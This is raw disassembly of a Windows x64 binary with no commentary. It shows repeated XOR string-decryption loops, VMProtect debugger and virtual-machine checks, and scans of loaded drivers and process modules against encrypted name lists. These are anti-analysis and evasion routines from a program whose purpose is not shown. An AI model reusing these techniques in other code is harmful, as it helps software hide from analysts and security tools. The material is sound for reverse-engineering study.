cmp byte [0x140347817], r13b
je 0x1400e3c6d
mov edi, r13d
lea r8, [0x140347800]
mov eax, r12d
mul edi
mov eax, edi
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x37
mov al, dil
sub al, cl
add al, r9b
xor byte [r8], al
add edi, ebx
add r8, rbx
cmp edi, r15d
jl 0x1400e3c42
cmp byte [0x1403472ef], r13b
je 0x1400e3cab
mov edi, r13d
lea r8, [0x1403472d8]
mov eax, r12d
mul edi
mov eax, edi
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x37
mov al, dil
sub al, cl
add al, r9b
xor byte [r8], al
add edi, ebx
add r8, rbx
cmp edi, r15d
jl 0x1400e3c80
cmp byte [0x140346de7], r13b
je 0x1400e3ce9
mov edi, r13d
lea r8, [0x140346dd0]
mov eax, r12d
mul edi
mov eax, edi
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x37
mov al, dil
sub al, cl
add al, r9b
xor byte [r8], al
add edi, ebx
add r8, rbx
cmp edi, r15d
jl 0x1400e3cbe
cmp byte [0x140346eef], r13b
je 0x1400e3d27
mov edi, r13d
lea r8, [0x140346ed8]
mov eax, r12d
mul edi
mov eax, edi
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x37
mov al, dil
sub al, cl
add al, r9b
xor byte [r8], al
add edi, ebx
add r8, rbx
cmp edi, r15d
jl 0x1400e3cfc
cmp byte [0x140346bd7], r13b
je 0x1400e3d65
mov edi, r13d
lea r8, [0x140346bc0]
mov eax, r12d
mul edi
mov eax, edi
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x37
mov al, dil
sub al, cl
add al, r9b
xor byte [r8], al
add edi, ebx
add r8, rbx
cmp edi, r15d
jl 0x1400e3d3a
cmp byte [0x140346e5f], r13b
je 0x1400e3da3
mov edi, r13d
lea r8, [0x140346e48]
mov eax, r12d
mul edi
mov eax, edi
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x37
mov al, dil
sub al, cl
add al, r9b
xor byte [r8], al
add edi, ebx
add r8, rbx
cmp edi, r15d
jl 0x1400e3d78
cmp byte [0x140346dff], r13b
je 0x1400e3de1
mov edi, r13d
lea r8, [0x140346de8]
mov eax, r12d
mul edi
mov eax, edi
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x37
mov al, dil
sub al, cl
add al, r9b
xor byte [r8], al
add edi, ebx
add r8, rbx
cmp edi, r15d
jl 0x1400e3db6
cmp byte [0x1403466e7], r13b
je 0x1400e3e1f
mov edi, r13d
lea r8, [0x1403466d0]
mov eax, r12d
mul edi
mov eax, edi
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x37
mov al, dil
sub al, cl
add al, r9b
xor byte [r8], al
add edi, ebx
add r8, rbx
cmp edi, r15d
jl 0x1400e3df4
cmp byte [0x1403464d7], r13b
je 0x1400e3e5d
mov edi, r13d
lea r8, [0x1403464c0]
mov eax, r12d
mul edi
mov eax, edi
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x37
mov al, dil
sub al, cl
add al, r9b
xor byte [r8], al
add edi, ebx
add r8, rbx
cmp edi, r15d
jl 0x1400e3e32
cmp byte [0x1403471d7], r13b
je 0x1400e3e9b
mov edi, r13d
lea r8, [0x1403471c0]
mov eax, r12d
mul edi
mov eax, edi
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x37
mov al, dil
sub al, cl
add al, r9b
xor byte [r8], al
add edi, ebx
add r8, rbx
cmp edi, r15d
jl 0x1400e3e70
cmp byte [0x14034666f], r13b
je 0x1400e3ed9
mov edi, r13d
lea r8, [0x140346658]
mov eax, r12d
mul edi
mov eax, edi
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x37
mov al, dil
sub al, cl
add al, r9b
xor byte [r8], al
add edi, ebx
add r8, rbx
cmp edi, r15d
jl 0x1400e3eae
cmp byte [0x1403478f7], r13b
je 0x1400e3f17
mov edi, r13d
lea r8, [0x1403478e0]
mov eax, r12d
mul edi
mov eax, edi
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x37
mov al, dil
sub al, cl
add al, r9b
xor byte [r8], al
add edi, ebx
add r8, rbx
cmp edi, r15d
jl 0x1400e3eec
cmp byte [0x14034760f], r13b
je 0x1400e3f55
mov edi, r13d
lea r8, [0x1403475f8]
mov eax, r12d
mul edi
mov eax, edi
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x37
mov al, dil
sub al, cl
add al, r9b
xor byte [r8], al
add edi, ebx
add r8, rbx
cmp edi, r15d
jl 0x1400e3f2a
cmp byte [0x140346fd7], r13b
je 0x1400e3f93
mov edi, r13d
lea r8, [0x140346fc0]
mov eax, r12d
mul edi
mov eax, edi
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x37
mov al, dil
sub al, cl
add al, r9b
xor byte [r8], al
add edi, ebx
add r8, rbx
cmp edi, r15d
jl 0x1400e3f68
cmp byte [0x140346687], r13b
je 0x1400e3fd1
mov edi, r13d
lea r8, [0x140346670]
mov eax, r12d
mul edi
mov eax, edi
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x37
mov al, dil
sub al, cl
add al, r9b
xor byte [r8], al
add edi, ebx
add r8, rbx
cmp edi, r15d
jl 0x1400e3fa6
cmp byte [0x140346457], r13b
je 0x1400e400f
mov edi, r13d
lea r8, [0x140346440]
mov eax, r12d
mul edi
mov eax, edi
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x37
mov al, dil
sub al, cl
add al, r9b
xor byte [r8], al
add edi, ebx
add r8, rbx
cmp edi, r15d
jl 0x1400e3fe4
cmp byte [0x14034660f], r13b
je 0x1400e404d
mov edi, r13d
lea r8, [0x1403465f8]
mov eax, r12d
mul edi
mov eax, edi
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x37
mov al, dil
sub al, cl
add al, r9b
xor byte [r8], al
add edi, ebx
add r8, rbx
cmp edi, r15d
jl 0x1400e4022
cmp byte [0x140346f5f], r13b
je 0x1400e408b
mov edi, r13d
lea r8, [0x140346f48]
mov eax, r12d
mul edi
mov eax, edi
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x37
mov al, dil
sub al, cl
add al, r9b
xor byte [r8], al
add edi, ebx
add r8, rbx
cmp edi, r15d
jl 0x1400e4060
cmp byte [0x14034721f], r13b
je 0x1400e40c9
mov edi, r13d
lea r8, [0x140347208]
mov eax, r12d
mul edi
mov eax, edi
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x37
mov al, dil
sub al, cl
add al, r9b
xor byte [r8], al
add edi, ebx
add r8, rbx
cmp edi, r15d
jl 0x1400e409e
cmp byte [0x140346b77], r13b
je 0x1400e4107
mov edi, r13d
lea r8, [0x140346b60]
mov eax, r12d
mul edi
mov eax, edi
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x37
mov al, dil
sub al, cl
add al, r9b
xor byte [r8], al
add edi, ebx
add r8, rbx
cmp edi, r15d
jl 0x1400e40dc
cmp byte [0x14034793f], r13b
je 0x1400e4145
mov edi, r13d
lea r8, [0x140347928]
mov eax, r12d
mul edi
mov eax, edi
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x37
mov al, dil
sub al, cl
add al, r9b
xor byte [r8], al
add edi, ebx
add r8, rbx
cmp edi, r15d
jl 0x1400e411a
cmp byte [0x14034682f], r13b
je 0x1400e4183
mov edi, r13d
lea r8, [0x140346818]
mov eax, r12d
mul edi
mov eax, edi
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x37
mov al, dil
sub al, cl
add al, r9b
xor byte [r8], al
add edi, ebx
add r8, rbx
cmp edi, r15d
jl 0x1400e4158
cmp byte [0x140346b5f], r13b
je 0x1400e41c1
mov edi, r13d
lea r8, [0x140346b48]
mov eax, r12d
mul edi
mov eax, edi
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x37
mov al, dil
sub al, cl
add al, r9b
xor byte [r8], al
add edi, ebx
add r8, rbx
cmp edi, r15d
jl 0x1400e4196
cmp byte [0x14034637f], r13b
je 0x1400e41ff
mov edi, r13d
lea r8, [0x140346368]
mov eax, r12d
mul edi
mov eax, edi
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x37
mov al, dil
sub al, cl
add al, r9b
xor byte [r8], al
add edi, ebx
add r8, rbx
cmp edi, r15d
jl 0x1400e41d4
cmp byte [0x140347957], r13b
je 0x1400e423d
mov edi, r13d
lea r8, [0x140347940]
mov eax, r12d
mul edi
mov eax, edi
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x37
mov al, dil
sub al, cl
add al, r9b
xor byte [r8], al
add edi, ebx
add r8, rbx
cmp edi, r15d
jl 0x1400e4212
mov eax, dword [str.YT_Y8]
mov dword [rbp - 0x20], eax
mov al, byte [0x1401f15b8]
mov byte [rbp - 0x1c], al
mov edi, r13d
lea r8, [rbp - 0x20]
mov eax, r12d
mul edi
mov eax, edi
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x37
mov al, dil
sub al, cl
add al, r9b
xor byte [r8], al
add edi, ebx
add r8, rbx
cmp edi, 5
jl 0x1400e4256
lea rcx, [rbp - 0x20]
call qword [sym.imp.VMProtectSDK64.dll_VMProtectBeginUltra]
mov cl, bl
call qword [sym.imp.VMProtectSDK64.dll_VMProtectIsDebuggerPresent]
mov cl, bl
call qword [sym.imp.VMProtectSDK64.dll_VMProtectIsDebuggerPresent]
mov cl, bl
call qword [sym.imp.VMProtectSDK64.dll_VMProtectIsDebuggerPresent]
call qword [sym.imp.VMProtectSDK64.dll_VMProtectIsProtected]
call qword [sym.imp.VMProtectSDK64.dll_VMProtectIsVirtualMachinePresent]
call fcn.1400e21bc
lea r8, [rbp + 0x108a0]
mov edx, 0x4000
lea rcx, [rbp + 0x4850]
call sub.KERNEL32.dll_K32EnumDeviceDrivers
movabs rsi, 0x683c37c88a4edbc8
movabs r14, 0xb1aa5dc88752dbc8
test eax, eax
je 0x1400e4cdd
cmp dword [rbp + 0x108a0], 0x4000
jae 0x1400e4cdd
mov r12d, dword [rbp + 0x108a0]
shr r12, 3
test r12, r12
je 0x1400e4cd7
mov r15, r13
mov r8d, 0x800
lea rdx, [rbp + 0x3050]
mov rcx, qword [rbp + r15*8 + 0x4850]
call sub.KERNEL32.dll_K32GetDeviceDriverBaseNameA
test eax, eax
je 0x1400e4cc5
vpxor xmm0, xmm0, xmm0
vmovups xmmword [rbp - 0x40], xmm0
mov qword [rbp - 0x30], r13
mov qword [rbp - 0x28], r13
lea rax, [rbp + 0x3050]
or rdi, 0xffffffffffffffff
mov r8, rdi
inc r8
cmp byte [rax + r8], r13b
jne 0x1400e4350
lea rdx, [rbp + 0x3050]
lea rcx, [rbp - 0x40]
call fcn.140083fc0
nop
movabs rax, 0xc2d938abe820aba3
mov qword [rbp + 0x50], rax
movabs rax, 0x683c45ade12dbaa0
mov qword [rbp + 0x58], rax
mov qword [rbp - 0x50], r14
mov qword [rbp - 0x48], rsi
vmovdqu xmm0, xmmword [rbp - 0x50]
vpxor xmm1, xmm0, xmmword [rbp + 0x50]
vmovdqu xmmword [rbp + 0x50], xmm1
lea rcx, [rbp + 0x50]
mov rax, rdi
inc rax
cmp byte [rcx + rax], r13b
jne 0x1400e43a4
lea rcx, [rbp - 0x40]
cmp qword [rbp - 0x28], 0xf
seta r14b
mov rdi, qword [rbp - 0x40]
cmova rcx, rdi
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x50]
xor r8d, r8d
mov rsi, qword [rbp - 0x30]
mov rdx, rsi
call fcn.1400c8794
cmp rax, 0xffffffffffffffff
jne 0x1400e81bb
movabs rax, 0xc4c8388cf726af80
mov qword [rbp + 0x60], rax
movabs rax, 0x683c37c88a4edbaf
mov qword [rbp + 0x68], rax
movabs rax, 0xb1aa5dc88752dbc8
mov qword [rbp + 0x1020], rax
movabs rax, 0x683c37c88a4edbc8
mov qword [rbp + 0x1028], rax
vmovdqu xmm0, xmmword [rbp + 0x1020]
vpxor xmm1, xmm0, xmmword [rbp + 0x60]
vmovdqu xmmword [rbp + 0x60], xmm1
lea rcx, [rbp + 0x60]
or rax, 0xffffffffffffffff
inc rax
cmp byte [rcx + rax], r13b
jne 0x1400e443c
lea rcx, [rbp - 0x40]
test r14b, r14b
cmovne rcx, rdi
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x60]
xor r8d, r8d
mov rdx, rsi
call fcn.1400c8794
cmp rax, 0xffffffffffffffff
jne 0x1400e7ec3
movabs rax, 0xb1aa5dc88734aba6
mov qword [rbp + 0x70], rax
movabs rax, 0x683c37c88a4edbc8
mov qword [rbp + 0x78], rax
movabs rcx, 0xb1aa5dc88752dbc8
mov qword [rbp + 0x1030], rcx
mov qword [rbp + 0x1038], rax
vmovdqu xmm0, xmmword [rbp + 0x1030]
vpxor xmm1, xmm0, xmmword [rbp + 0x70]
vmovdqu xmmword [rbp + 0x70], xmm1
lea rcx, [rbp + 0x70]
or rax, 0xffffffffffffffff
inc rax
cmp byte [rcx + rax], r13b
jne 0x1400e44bc
lea rcx, [rbp - 0x40]
test r14b, r14b
cmovne rcx, rdi
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x70]
xor r8d, r8d
mov rdx, rsi
call fcn.1400c8794
cmp rax, 0xffffffffffffffff
jne 0x1400e7916
movabs rax, 0xb1aa3aaae366edb0
mov qword [rbp + 0x80], rax
movabs rax, 0x683c37c88a4edbc8
mov qword [rbp + 0x88], rax
movabs rcx, 0xb1aa5dc88752dbc8
mov qword [rbp + 0x1040], rcx
mov qword [rbp + 0x1048], rax
vmovdqu xmm0, xmmword [rbp + 0x1040]
vpxor xmm1, xmm0, xmmword [rbp + 0x80]
vmovdqu xmmword [rbp + 0x80], xmm1
lea rcx, [rbp + 0x80]
or rax, 0xffffffffffffffff
inc rax
cmp byte [rcx + rax], r13b
jne 0x1400e454b
lea rcx, [rbp - 0x40]
test r14b, r14b
cmovne rcx, rdi
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x80]
xor r8d, r8d
mov rdx, rsi
call fcn.1400c8794
cmp rax, 0xffffffffffffffff
jne 0x1400e7646
movabs rax, 0xd5c315a6e626b29c
mov qword [rbp + 0x90], rax
movabs rax, 0x683c37c88a4edbad
mov qword [rbp + 0x98], rax
movabs rax, 0xb1aa5dc88752dbc8
mov qword [rbp + 0xf30], rax
movabs rax, 0x683c37c88a4edbc8
mov qword [rbp + 0xf38], rax
vmovdqu xmm0, xmmword [rbp + 0xf30]
vpxor xmm1, xmm0, xmmword [rbp + 0x90]
vmovdqu xmmword [rbp + 0x90], xmm1
lea rcx, [rbp + 0x90]
or rax, 0xffffffffffffffff
inc rax
cmp byte [rcx + rax], r13b
jne 0x1400e45e7
lea rcx, [rbp - 0x40]
test r14b, r14b
cmovne rcx, rdi
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x90]
xor r8d, r8d
mov rdx, rsi
call fcn.1400c8794
cmp rax, 0xffffffffffffffff
jne 0x1400e7388
movabs rax, 0xeeee12b8f533b39b
mov qword [rbp + 0xa0], rax
movabs rax, 0x683c37c88a38a98c
mov qword [rbp + 0xa8], rax
movabs rax, 0xb1aa5dc88752dbc8
mov qword [rbp + 0xf40], rax
movabs rax, 0x683c37c88a4edbc8
mov qword [rbp + 0xf48], rax
vmovdqu xmm0, xmmword [rbp + 0xf40]
vpxor xmm1, xmm0, xmmword [rbp + 0xa0]
vmovdqu xmmword [rbp + 0xa0], xmm1
lea rcx, [rbp + 0xa0]
or rax, 0xffffffffffffffff
inc rax
cmp byte [rcx + rax], r13b
jne 0x1400e4683
lea rcx, [rbp - 0x40]
test r14b, r14b
cmovne rcx, rdi
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0xa0]
xor r8d, r8d
mov rdx, rsi
call fcn.1400c8794
cmp rax, 0xffffffffffffffff
jne 0x1400e70d9
movabs rax, 0xb1aa5dfcb133bfa1
mov qword [rbp + 0xb0], rax
movabs rax, 0x683c37c88a4edbc8
mov qword [rbp + 0xb8], rax
movabs rcx, 0xb1aa5dc88752dbc8
mov qword [rbp + 0xf50], rcx
mov qword [rbp + 0xf58], rax
vmovdqu xmm0, xmmword [rbp + 0xf50]
vpxor xmm1, xmm0, xmmword [rbp + 0xb0]
vmovdqu xmmword [rbp + 0xb0], xmm1
lea rcx, [rbp + 0xb0]
or rax, 0xffffffffffffffff
inc rax
cmp byte [rcx + rax], r13b
jne 0x1400e4715
lea rcx, [rbp - 0x40]
test r14b, r14b
cmovne rcx, rdi
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0xb0]
xor r8d, r8d
mov rdx, rsi
call fcn.1400c8794
cmp rax, 0xffffffffffffffff
jne 0x1400e6e71
movabs rax, 0xb1aa5dfab433bfa1
mov qword [rbp + 0xc0], rax
movabs rax, 0x683c37c88a4edbc8
mov qword [rbp + 0xc8], rax
movabs rcx, 0xb1aa5dc88752dbc8
mov qword [rbp + 0xf60], rcx
mov qword [rbp + 0xf68], rax
vmovdqu xmm0, xmmword [rbp + 0xf60]
vpxor xmm1, xmm0, xmmword [rbp + 0xc0]
vmovdqu xmmword [rbp + 0xc0], xmm1
lea rcx, [rbp + 0xc0]
or rax, 0xffffffffffffffff
inc rax
cmp byte [rcx + rax], r13b
jne 0x1400e47a7
lea rcx, [rbp - 0x40]
test r14b, r14b
cmovne rcx, rdi
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0xc0]
xor r8d, r8d
mov rdx, rsi
call fcn.1400c8794
cmp rax, 0xffffffffffffffff
jne 0x1400e6c0c
movabs rax, 0xb1cd3facfe3eb7a7
mov qword [rbp + 0xd0], rax
movabs rax, 0x683c37c88a4edbc8
mov qword [rbp + 0xd8], rax
movabs rcx, 0xb1aa5dc88752dbc8
mov qword [rbp + 0xf70], rcx
mov qword [rbp + 0xf78], rax
vmovdqu xmm0, xmmword [rbp + 0xf70]
vpxor xmm1, xmm0, xmmword [rbp + 0xd0]
vmovdqu xmmword [rbp + 0xd0], xmm1
lea rcx, [rbp + 0xd0]
or rax, 0xffffffffffffffff
inc rax
cmp byte [rcx + rax], r13b
jne 0x1400e4839
lea rcx, [rbp - 0x40]
test r14b, r14b
cmovne rcx, rdi
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0xd0]
xor r8d, r8d
mov rdx, rsi
call fcn.1400c8794
cmp rax, 0xffffffffffffffff
jne 0x1400e69a7
movabs rax, 0x87cd3facfe3eb7a7
mov qword [rbp + 0xe0], rax
movabs rax, 0x683c37c88a4edbfc
mov qword [rbp + 0xe8], rax
movabs rax, 0xb1aa5dc88752dbc8
mov qword [rbp + 0xf80], rax
movabs rax, 0x683c37c88a4edbc8
mov qword [rbp + 0xf88], rax
vmovdqu xmm0, xmmword [rbp + 0xf80]
vpxor xmm1, xmm0, xmmword [rbp + 0xe0]
vmovdqu xmmword [rbp + 0xe0], xmm1
lea rcx, [rbp + 0xe0]
or rax, 0xffffffffffffffff
inc rax
cmp byte [rcx + rax], r13b
jne 0x1400e48d5
lea rcx, [rbp - 0x40]
test r14b, r14b
cmovne rcx, rdi
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0xe0]
xor r8d, r8d
mov rdx, rsi
call fcn.1400c8794
cmp rax, 0xffffffffffffffff
jne 0x1400e6742
movabs rax, 0xb1c631ace333b4a4
mov qword [rbp + 0x620], rax
movabs rsi, 0x683c37c88a4edbc8
mov qword [rbp + 0x628], rsi
movabs r14, 0xb1aa5dc88752dbc8
mov qword [rbp + 0xf90], r14
mov qword [rbp + 0xf98], rsi
vmovdqu xmm0, xmmword [rbp + 0xf90]
vpxor xmm1, xmm0, xmmword [rbp + 0x620]
vmovdqu xmmword [rbp + 0x620], xmm1
xor r8d, r8d
lea rdx, [rbp + 0x620]
lea rcx, [rbp - 0x40]
call fcn.1400e1580
cmp rax, 0xffffffffffffffff
jne 0x1400e64f1
movabs rax, 0xc4c838acf726afa0
mov qword [rbp + 0x630], rax
movabs rax, 0x683c37c8f82bbcaf
mov qword [rbp + 0x638], rax
mov qword [rbp + 0xfa0], r14
mov qword [rbp + 0xfa8], rsi
vmovdqu xmm0, xmmword [rbp + 0xfa0]
vpxor xmm1, xmm0, xmmword [rbp + 0x630]
vmovdqu xmmword [rbp + 0x630], xmm1
xor r8d, r8d
lea rdx, [rbp + 0x630]
lea rcx, [rbp - 0x40]
call fcn.1400e1580
cmp rax, 0xffffffffffffffff
jne 0x1400e6257
movabs rax, 0xd4d82aa7e33cb2bf
mov qword [rbp + 0x640], rax
movabs rax, 0x683c37baef23baa6
mov qword [rbp + 0x648], rax
mov qword [rbp + 0xfb0], r14
mov qword [rbp + 0xfb8], rsi
vmovdqu xmm0, xmmword [rbp + 0xfb0]
vpxor xmm1, xmm0, xmmword [rbp + 0x640]
vmovdqu xmmword [rbp + 0x640], xmm1
xor r8d, r8d
lea rdx, [rbp + 0x640]
lea rcx, [rbp - 0x40]
call fcn.1400e1580
cmp rax, 0xffffffffffffffff
jne 0x1400e5fbd
add r15, rbx
cmp r15, r12
jl 0x1400e430f
mov r15d, Ordinal_26
mov r12d, 0x29e4129f
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
lea r9, [rbp + 0x10]
mov r8d, 0x4000
lea rdx, [rbp + 0x8850]
call sub.KERNEL32.dll_K32EnumProcessModules
test eax, eax
je 0x1400e8fa1
mov r14d, dword [rbp + 0x10]
shr r14, 3
test r14, r14
je 0x1400e8fa1
mov rsi, r13
mov rdi, qword [rbp + rsi*8 + 0x8850]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov r9d, 0x800
lea r8, [rbp + 0x3850]
mov rdx, rdi
mov rcx, rax
call sub.KERNEL32.dll_K32GetModuleBaseNameA
test eax, eax
je 0x1400e4e9a
lea rdx, [rbp + 0x3850]
lea rcx, [rbp + 0xe48]
call fcn.140080970
nop
movabs rax, 0xb1cd3facd866edb0
mov qword [rbp + 0x4e0], rax
movabs rdi, 0x683c37c88a4edbc8
mov qword [rbp + 0x4e8], rdi
movabs rax, 0xb1aa5dc88752dbc8
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x68], rdi
vmovdqu xmm0, xmmword [rsp + 0x60]
vpxor xmm1, xmm0, xmmword [rbp + 0x4e0]
vmovdqu xmmword [rbp + 0x4e0], xmm1
xor r8d, r8d
lea rdx, [rbp + 0x4e0]
lea rcx, [rbp + 0xe48]
call fcn.1400e1580
cmp rax, 0xffffffffffffffff
jne 0x1400e8a34
movabs rax, 0xd5843aaae366edb0
mov qword [rbp + 0x4f0], rax
movabs rax, 0x683c37c88a4eb7a4
mov qword [rbp + 0x4f8], rax
movabs rax, 0xb1aa5dc88752dbc8
mov qword [rbp - 0x10], rax
mov qword [rbp - 8], rdi
vmovdqu xmm0, xmmword [rbp - 0x10]
vpxor xmm1, xmm0, xmmword [rbp + 0x4f0]
vmovdqu xmmword [rbp + 0x4f0], xmm1
xor r8d, r8d
lea rdx, [rbp + 0x4f0]
lea rcx, [rbp + 0xe48]
call fcn.1400e1580
cmp rax, 0xffffffffffffffff
jne 0x1400e878d
movabs rax, 0xb1aa3aaae366edb0
mov qword [rbp + 0x500], rax
mov qword [rbp + 0x508], rdi
movabs rax, 0xb1aa5dc88752dbc8
mov qword [rbp], rax
mov qword [rbp + 8], rdi
vmovdqu xmm0, xmmword [rbp]
vpxor xmm1, xmm0, xmmword [rbp + 0x500]
vmovdqu xmmword [rbp + 0x500], xmm1
xor r8d, r8d
lea rdx, [rbp + 0x500]
lea rcx, [rbp + 0xe48]
call fcn.1400e1580
cmp rax, 0xffffffffffffffff
jne 0x1400e84e6
lea rcx, [rbp + 0xe48]
call fcn.1400808a0
add rsi, rbx
cmp rsi, r14
jl 0x1400e4d18
jmp 0x1400e8fa1
call fcn.140060fa0
movabs rax, 0xd98a38bee83fbe9a
mov qword [rbp + 0xbf0], rax
movabs rax, 0xf4955adee3eafbc
mov qword [rbp + 0xbf8], rax
movabs rax, 0x752c8be8bca8beaf
mov qword [rbp + 0xc00], rax
movabs rax, 0x78b3e2a41833a9a7
mov qword [rbp + 0xc08], rax
movabs rax, 0x7cb515afa28bb3ab
mov qword [rbp + 0xc10], rax
movabs rax, 0x75540fe610fbbfa9
mov qword [rbp + 0xc18], rax
movabs rax, 0xdec7b5bbef18fbac
mov qword [rbp + 0xc20], rax
movabs rax, 0x3318e9bde21ffbbc
mov qword [rbp + 0xc28], rax
movabs rax, 0x13268dc84172f58b
mov qword [rbp + 0xc30], rax
movabs r12, 0x63c7e7c8c96edbc8
mov qword [rbp + 0xc38], r12
mov qword [rsp + 0x60], r14
mov qword [rsp + 0x68], rsi
movabs rax, 0x1349e9c890dadbc8
mov qword [rsp + 0x70], rax
movabs r15, 0x16c683c83856dbc8
mov qword [rsp + 0x78], r15
movabs rax, 0x13d935c8cce2dbc8
mov qword [rbp - 0x80], rax
movabs rax, 0x1b152fc8629edbc8
mov qword [rbp - 0x78], rax
movabs rax, 0xaca6c1c88a6adbc8
mov qword [rbp - 0x70], rax
movabs rax, 0x63389bc88d66dbc8
mov qword [rbp - 0x68], rax
movabs rax, 0x13268dc84172dbc8
mov qword [rbp - 0x60], rax
mov qword [rbp - 0x58], r12
vmovdqu xmm0, xmmword [rsp + 0x60]
vpxor xmm1, xmm0, xmmword [rbp + 0xbf0]
vmovdqu xmmword [rbp + 0xbf0], xmm1
vmovdqu xmm2, xmmword [rbp + 0xc00]
vpxor xmm0, xmm2, xmmword [rsp + 0x70]
vmovdqu xmmword [rbp + 0xc00], xmm0
vmovdqu xmm1, xmmword [rbp + 0xc10]
vpxor xmm2, xmm1, xmmword [rbp - 0x80]
vmovdqu xmmword [rbp + 0xc10], xmm2
vmovdqu xmm0, xmmword [rbp + 0xc20]
vpxor xmm1, xmm0, xmmword [rbp - 0x70]
vmovdqu xmmword [rbp + 0xc20], xmm1
vmovdqu xmm2, xmmword [rbp + 0xc30]
vpxor xmm0, xmm2, xmmword [rbp - 0x60]
vmovdqu xmmword [rbp + 0xc30], xmm0
lea rdx, [rbp + 0xbf0]
lea rcx, [rbp + 0x11e0]
call fcn.140080970
mov rdi, rax
mov qword [rbp - 0x50], rax
movabs rax, 0xc5d229e6f435b4a4
mov qword [rbp + 0x340], rax
mov qword [rbp + 0x348], rsi
mov qword [rsp + 0x60], r14
mov qword [rsp + 0x68], rsi
vmovdqu xmm0, xmmword [rsp + 0x60]
vpxor xmm1, xmm0, xmmword [rbp + 0x340]
vmovdqu xmmword [rbp + 0x340], xmm1
mov dword [rsp + 0x20], ebx
mov r9d, 0x40
lea r8d, [r9 - 0x36]
lea rdx, [rbp + 0x340]
lea rcx, [rbp + 0x1d30]
call fcn.1400800a0
nop
cmp qword [rbp + 0x1db8], r13
je 0x1400e64df
call fcn.140060fa0
movabs rax, 0xdd8a38bee83fbe9a
mov qword [rbp + 0x850], rax
movabs rax, 0x48105ba4ee2abaa7
mov qword [rbp + 0x858], rax
movabs rax, 0x7f698cbaffbcbeaa
mov qword [rbp + 0x860], rax
movabs rax, 0x71a8eaa05b38aea9
mov qword [rbp + 0x868], rax
movabs rax, 0x3dab50acad8db7e8
mov qword [rbp + 0x870], rax
movabs rax, 0x68705de806f09ae8
mov qword [rbp + 0x878], rax
movabs rax, 0xd9c9b8e8fe18babc
mov qword [rbp + 0x880], rax
movabs rax, 0x63389be6ce36fbba
mov qword [rbp + 0x888], rax
mov qword [rsp + 0x60], r14
mov qword [rsp + 0x68], rsi
movabs rax, 0x1349e9c890dadbc8
mov qword [rsp + 0x70], rax
movabs r15, 0x16c683c83856dbc8
mov qword [rsp + 0x78], r15
movabs rax, 0x13d935c8cce2dbc8
mov qword [rbp - 0x80], rax
movabs rax, 0x1b152fc8629edbc8
mov qword [rbp - 0x78], rax
movabs rax, 0xaca6c1c88a6adbc8
mov qword [rbp - 0x70], rax
movabs rax, 0x63389bc88d66dbc8
mov qword [rbp - 0x68], rax
vmovdqu xmm0, xmmword [rsp + 0x60]
vpxor xmm1, xmm0, xmmword [rbp + 0x850]
vmovdqu xmmword [rbp + 0x850], xmm1
vmovdqu xmm2, xmmword [rbp + 0x860]
vpxor xmm0, xmm2, xmmword [rsp + 0x70]
vmovdqu xmmword [rbp + 0x860], xmm0
vmovdqu xmm1, xmmword [rbp + 0x870]
vpxor xmm2, xmm1, xmmword [rbp - 0x80]
vmovdqu xmmword [rbp + 0x870], xmm2
vmovdqu xmm0, xmmword [rbp + 0x880]
vpxor xmm1, xmm0, xmmword [rbp - 0x70]
vmovdqu xmmword [rbp + 0x880], xmm1
lea rdx, [rbp + 0x850]
lea rcx, [rbp + 0x1200]
call fcn.140080970
mov rdi, rax
mov qword [rbp - 0x50], rax
